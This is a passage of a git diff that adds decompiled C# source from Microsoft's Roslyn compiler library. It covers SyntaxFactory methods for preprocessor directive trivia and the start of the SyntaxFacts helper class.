closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectivePositionSyntax LineDirectivePosition(SyntaxToken line, SyntaxToken character) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return LineDirectivePosition(Token(SyntaxKind.OpenParenToken), line, Token(SyntaxKind.CommaToken), character, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LineSpanDirectiveTriviaSyntax LineSpanDirectiveTrivia(SyntaxToken hashToken, SyntaxToken lineKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectivePositionSyntax start, SyntaxToken minusToken, Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectivePositionSyntax end, SyntaxToken characterOffset, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (lineKeyword.Kind() != SyntaxKind.LineKeyword) + { + throw new ArgumentException("lineKeyword"); + } + if (start == null) + { + throw new ArgumentNullException("start"); + } + if (minusToken.Kind() != SyntaxKind.MinusToken) + { + throw new ArgumentException("minusToken"); + } + if (end == null) + { + throw new ArgumentNullException("end"); + } + SyntaxKind syntaxKind = characterOffset.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.NumericLiteralToken) + { + throw new ArgumentException("characterOffset"); + } + if (file.Kind() != SyntaxKind.StringLiteralToken) + { + throw new ArgumentException("file"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.LineSpanDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.LineSpanDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref lineKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectivePositionSyntax)(object)((SyntaxNode)start).Green, (SyntaxToken)(object)((SyntaxToken)(ref minusToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectivePositionSyntax)(object)((SyntaxNode)end).Green, (SyntaxToken)(object)((SyntaxToken)(ref characterOffset)).Node, (SyntaxToken)(object)((SyntaxToken)(ref file)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LineSpanDirectiveTriviaSyntax LineSpanDirectiveTrivia(Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectivePositionSyntax start, Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectivePositionSyntax end, SyntaxToken characterOffset, SyntaxToken file, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return LineSpanDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.LineKeyword), start, Token(SyntaxKind.MinusToken), end, characterOffset, file, Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LineSpanDirectiveTriviaSyntax LineSpanDirectiveTrivia(Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectivePositionSyntax start, Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectivePositionSyntax end, SyntaxToken file, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + return LineSpanDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.LineKeyword), start, Token(SyntaxKind.MinusToken), end, default(SyntaxToken), file, Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PragmaWarningDirectiveTriviaSyntax PragmaWarningDirectiveTrivia(SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken warningKeyword, SyntaxToken disableOrRestoreKeyword, SeparatedSyntaxList errorCodes, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (pragmaKeyword.Kind() != SyntaxKind.PragmaKeyword) + { + throw new ArgumentException("pragmaKeyword"); + } + if (warningKeyword.Kind() != SyntaxKind.WarningKeyword) + { + throw new ArgumentException("warningKeyword"); + } + SyntaxKind syntaxKind = disableOrRestoreKeyword.Kind(); + if (syntaxKind - 8479 > SyntaxKind.List) + { + throw new ArgumentException("disableOrRestoreKeyword"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.PragmaWarningDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.PragmaWarningDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref pragmaKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref warningKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref disableOrRestoreKeyword)).Node, GreenNodeExtensions.ToGreenSeparatedList(errorCodes.Node), (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PragmaWarningDirectiveTriviaSyntax PragmaWarningDirectiveTrivia(SyntaxToken disableOrRestoreKeyword, SeparatedSyntaxList errorCodes, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return PragmaWarningDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.PragmaKeyword), Token(SyntaxKind.WarningKeyword), disableOrRestoreKeyword, errorCodes, Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PragmaWarningDirectiveTriviaSyntax PragmaWarningDirectiveTrivia(SyntaxToken disableOrRestoreKeyword, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return PragmaWarningDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.PragmaKeyword), Token(SyntaxKind.WarningKeyword), disableOrRestoreKeyword, default(SeparatedSyntaxList), Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PragmaChecksumDirectiveTriviaSyntax PragmaChecksumDirectiveTrivia(SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken checksumKeyword, SyntaxToken file, SyntaxToken guid, SyntaxToken bytes, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (pragmaKeyword.Kind() != SyntaxKind.PragmaKeyword) + { + throw new ArgumentException("pragmaKeyword"); + } + if (checksumKeyword.Kind() != SyntaxKind.ChecksumKeyword) + { + throw new ArgumentException("checksumKeyword"); + } + if (file.Kind() != SyntaxKind.StringLiteralToken) + { + throw new ArgumentException("file"); + } + if (guid.Kind() != SyntaxKind.StringLiteralToken) + { + throw new ArgumentException("guid"); + } + if (bytes.Kind() != SyntaxKind.StringLiteralToken) + { + throw new ArgumentException("bytes"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.PragmaChecksumDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.PragmaChecksumDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref pragmaKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref checksumKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref file)).Node, (SyntaxToken)(object)((SyntaxToken)(ref guid)).Node, (SyntaxToken)(object)((SyntaxToken)(ref bytes)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PragmaChecksumDirectiveTriviaSyntax PragmaChecksumDirectiveTrivia(SyntaxToken file, SyntaxToken guid, SyntaxToken bytes, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + return PragmaChecksumDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.PragmaKeyword), Token(SyntaxKind.ChecksumKeyword), file, guid, bytes, Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ReferenceDirectiveTriviaSyntax ReferenceDirectiveTrivia(SyntaxToken hashToken, SyntaxToken referenceKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (referenceKeyword.Kind() != SyntaxKind.ReferenceKeyword) + { + throw new ArgumentException("referenceKeyword"); + } + if (file.Kind() != SyntaxKind.StringLiteralToken) + { + throw new ArgumentException("file"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ReferenceDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ReferenceDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref referenceKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref file)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ReferenceDirectiveTriviaSyntax ReferenceDirectiveTrivia(SyntaxToken file, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return ReferenceDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.ReferenceKeyword), file, Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LoadDirectiveTriviaSyntax LoadDirectiveTrivia(SyntaxToken hashToken, SyntaxToken loadKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (loadKeyword.Kind() != SyntaxKind.LoadKeyword) + { + throw new ArgumentException("loadKeyword"); + } + if (file.Kind() != SyntaxKind.StringLiteralToken) + { + throw new ArgumentException("file"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.LoadDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.LoadDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref loadKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref file)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LoadDirectiveTriviaSyntax LoadDirectiveTrivia(SyntaxToken file, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return LoadDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.LoadKeyword), file, Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ShebangDirectiveTriviaSyntax ShebangDirectiveTrivia(SyntaxToken hashToken, SyntaxToken exclamationToken, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (exclamationToken.Kind() != SyntaxKind.ExclamationToken) + { + throw new ArgumentException("exclamationToken"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ShebangDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ShebangDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref exclamationToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ShebangDirectiveTriviaSyntax ShebangDirectiveTrivia(bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return ShebangDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.ExclamationToken), Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NullableDirectiveTriviaSyntax NullableDirectiveTrivia(SyntaxToken hashToken, SyntaxToken nullableKeyword, SyntaxToken settingToken, SyntaxToken targetToken, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + if (hashToken.Kind() != SyntaxKind.HashToken) + { + throw new ArgumentException("hashToken"); + } + if (nullableKeyword.Kind() != SyntaxKind.NullableKeyword) + { + throw new ArgumentException("nullableKeyword"); + } + SyntaxKind syntaxKind = settingToken.Kind(); + if (syntaxKind - 8479 > SyntaxKind.List && syntaxKind != SyntaxKind.EnableKeyword) + { + throw new ArgumentException("settingToken"); + } + syntaxKind = targetToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind - 8488 > SyntaxKind.List) + { + throw new ArgumentException("targetToken"); + } + if (endOfDirectiveToken.Kind() != SyntaxKind.EndOfDirectiveToken) + { + throw new ArgumentException("endOfDirectiveToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.NullableDirectiveTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.NullableDirectiveTrivia((SyntaxToken)(object)((SyntaxToken)(ref hashToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref nullableKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref settingToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref targetToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref endOfDirectiveToken)).Node, isActive)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NullableDirectiveTriviaSyntax NullableDirectiveTrivia(SyntaxToken settingToken, SyntaxToken targetToken, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return NullableDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.NullableKeyword), settingToken, targetToken, Token(SyntaxKind.EndOfDirectiveToken), isActive); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NullableDirectiveTriviaSyntax NullableDirectiveTrivia(SyntaxToken settingToken, bool isActive) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return NullableDirectiveTrivia(Token(SyntaxKind.HashToken), Token(SyntaxKind.NullableKeyword), settingToken, default(SyntaxToken), Token(SyntaxKind.EndOfDirectiveToken), isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxFacts.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxFacts.cs new file mode 100644 index 0000000..bbb7131 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxFacts.cs @@ -0,0 +1,1928 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public static class SyntaxFacts +{ + private sealed class SyntaxKindEqualityComparer : IEqualityComparer + { + public bool Equals(SyntaxKind x, SyntaxKind y) + { + return x == y; + } + + public int GetHashCode(SyntaxKind obj) + { + return (int)obj; + } + } + + public static IEqualityComparer EqualityComparer { get; } = new SyntaxKindEqualityComparer(); + + internal static bool IsHexDigit(char c) + { + if ((c < '0' || c > '9') && (c < 'A' || c > 'F')) + { + if (c >= 'a') + { + return c <= 'f'; + } + return false; + } + return true; + } + + internal static bool IsBinaryDigit(char c) + { + return c == '0' || c == '1'; + } + + internal static bool IsDecDigit(char c) + { + if (c >= '0') + { + return c <= '9'; + } + return false; + } + + internal static int HexValue(char c) + { + if (c < '0' || c > '9') + { + return (c & 0xDF) - 65 + 10; + } + return c - 48; + } + + internal static int BinaryValue(char c) + { + return c - 48; + } + + internal static int DecValue(char c) + { + return c - 48; + } + + public static bool IsWhitespace(char ch) + { + if (ch != ' ' && ch != '\t' && ch != '\v' && ch != '\f' && ch != '\u00a0' && ch != '\ufeff' && ch != '\u001a') + { + if (ch > 'ÿ') + { + return CharUnicodeInfo.GetUnicodeCategory(ch) == UnicodeCategory.SpaceSeparator; + } + return false; + } + return true; + } + + public static bool IsNewLine(char ch) + { + if (ch != '\r' && ch != '\n' && ch != '\u0085' && ch != '\u2028') + { + return ch == '\u2029'; + } + return true; + } + + public static bool IsIdentifierStartCharacter(char ch) + { + return UnicodeCharacterUtilities.IsIdentifierStartCharacter(ch); + } + + public static bool IsIdentifierPartCharacter(char ch) + { + return UnicodeCharacterUtilities.IsIdentifierPartCharacter(ch); + } + + public static bool IsValidIdentifier([NotNullWhen(true)] string? name) + { + return UnicodeCharacterUtilities.IsValidIdentifier(name); + } + + internal static bool ContainsDroppedIdentifierCharacters(string? name) + { + if (RoslynString.IsNullOrEmpty(name)) + { + return false; + } + if (name[0] == '@') + { + return true; + } + int length = name.Length; + for (int i = 0; i < length; i++) + { + if (UnicodeCharacterUtilities.IsFormattingChar(name[i])) + { + return true; + } + } + return false; + } + + internal static bool IsNonAsciiQuotationMark(char ch) + { + switch (ch) + { + case '‘': + case '’': + return true; + case '“': + case '”': + return true; + default: + return false; + } + } + + public static bool IsAliasQualifier(SyntaxNode node) + { + if (node.Parent is Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax aliasQualifiedNameSyntax) + { + return (object)aliasQualifiedNameSyntax.Alias == node; + } + return false; + } + + public static bool IsAttributeName(SyntaxNode node) + { + SyntaxNode parent = node.Parent; + if (parent == null || !IsName(node.Kind())) + { + return false; + } + switch (parent.Kind()) + { + case SyntaxKind.QualifiedName: + if ((object)((Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax)(object)parent).Right != node) + { + return false; + } + return IsAttributeName(parent); + case SyntaxKind.AliasQualifiedName: + if ((object)((Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax)(object)parent).Name != node) + { + return false; + } + return IsAttributeName(parent); + default: + if (node.Parent is Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax attributeSyntax) + { + return (object)attributeSyntax.Name == node; + } + return false; + } + } + + public static bool IsInvoked(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax node) + { + node = SyntaxFactory.GetStandaloneExpression(node); + if (node.Parent is Microsoft.CodeAnalysis.CSharp.Syntax.InvocationExpressionSyntax invocationExpressionSyntax) + { + return invocationExpressionSyntax.Expression == node; + } + return false; + } + + public static bool IsIndexed(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax node) + { + node = SyntaxFactory.GetStandaloneExpression(node); + if (node.Parent is Microsoft.CodeAnalysis.CSharp.Syntax.ElementAccessExpressionSyntax elementAccessExpressionSyntax) + { + return elementAccessExpressionSyntax.Expression == node; + } + return false; + } + + public static bool IsNamespaceAliasQualifier(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax node) + { + if (node.Parent is Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax aliasQualifiedNameSyntax) + { + return aliasQualifiedNameSyntax.Alias == node; + } + return false; + } + + public static bool IsInTypeOnlyContext(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax node) + { + node = SyntaxFactory.GetStandaloneExpression(node); + CSharpSyntaxNode parent = node.Parent; + if (parent != null) + { + switch (parent.Kind()) + { + case SyntaxKind.Attribute: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax)parent).Name == node; + case SyntaxKind.ArrayType: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.ArrayTypeSyntax)parent).ElementType == node; + case SyntaxKind.PointerType: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.PointerTypeSyntax)parent).ElementType == node; + case SyntaxKind.FunctionPointerType: + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Syntax/SyntaxFacts.cs", 101); + case SyntaxKind.PredefinedType: + return true; + case SyntaxKind.NullableType: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.NullableTypeSyntax)parent).ElementType == node; + case SyntaxKind.TypeArgumentList: + return true; + case SyntaxKind.CastExpression: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.CastExpressionSyntax)parent).Type == node; + case SyntaxKind.ObjectCreationExpression: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.ObjectCreationExpressionSyntax)parent).Type == node; + case SyntaxKind.StackAllocArrayCreationExpression: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.StackAllocArrayCreationExpressionSyntax)parent).Type == node; + case SyntaxKind.FromClause: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.FromClauseSyntax)parent).Type == node; + case SyntaxKind.JoinClause: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.JoinClauseSyntax)parent).Type == node; + case SyntaxKind.VariableDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax)parent).Type == node; + case SyntaxKind.ForEachStatement: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.ForEachStatementSyntax)parent).Type == node; + case SyntaxKind.CatchDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.CatchDeclarationSyntax)parent).Type == node; + case SyntaxKind.IsExpression: + case SyntaxKind.AsExpression: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.BinaryExpressionSyntax)parent).Right == node; + case SyntaxKind.TypeOfExpression: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.TypeOfExpressionSyntax)parent).Type == node; + case SyntaxKind.SizeOfExpression: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.SizeOfExpressionSyntax)parent).Type == node; + case SyntaxKind.DefaultExpression: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.DefaultExpressionSyntax)parent).Type == node; + case SyntaxKind.RefValueExpression: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.RefValueExpressionSyntax)parent).Type == node; + case SyntaxKind.RefType: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.RefTypeSyntax)parent).Type == node; + case SyntaxKind.ScopedType: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.ScopedTypeSyntax)parent).Type == node; + case SyntaxKind.Parameter: + case SyntaxKind.FunctionPointerParameter: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.BaseParameterSyntax)parent).Type == node; + case SyntaxKind.TypeConstraint: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.TypeConstraintSyntax)parent).Type == node; + case SyntaxKind.MethodDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.MethodDeclarationSyntax)parent).ReturnType == node; + case SyntaxKind.IndexerDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.IndexerDeclarationSyntax)parent).Type == node; + case SyntaxKind.OperatorDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.OperatorDeclarationSyntax)parent).ReturnType == node; + case SyntaxKind.ConversionOperatorDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorDeclarationSyntax)parent).Type == node; + case SyntaxKind.PropertyDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.PropertyDeclarationSyntax)parent).Type == node; + case SyntaxKind.DelegateDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.DelegateDeclarationSyntax)parent).ReturnType == node; + case SyntaxKind.EventDeclaration: + return 